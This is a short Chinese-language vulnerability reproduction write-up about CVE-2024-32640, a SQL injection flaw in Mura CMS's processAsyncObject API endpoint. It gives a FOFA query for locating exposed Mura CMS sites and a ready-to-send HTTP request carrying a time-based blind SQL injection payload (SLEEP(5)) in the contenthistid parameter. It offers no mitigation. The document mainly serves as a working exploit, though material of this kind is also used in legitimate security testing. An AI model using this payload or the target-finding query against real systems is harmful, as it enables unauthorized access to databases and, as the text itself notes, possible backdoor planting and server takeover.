0x01 产品简介
Mura CMS（Content Management System）是一款用于创建和管理网站内容的开源内容管理系统。它具有许多功能和灵活性，使其成为许多网站开发者和内容创作者的首选工具。是一个强大的企业网站解决方案，可用于创建和管理公司网站、产品目录、新闻发布、客户支持和联系信息等内容。
0x02 漏洞概述
2024年5月8日，互联网上披露其存在CVE-2024-32640 MuraCMS processAsyncObject SQL注入漏洞，未经身份验证的远程攻击者可利用此漏洞 构造恶意请求获取数据库中的敏感信息，深入利用可写入后门文件可造成远程代码执行获取服务器权限。
0x03 复现环境
FOFA："Mura CMS"
0x04 漏洞复现
PoC
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencodedobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1延时5秒
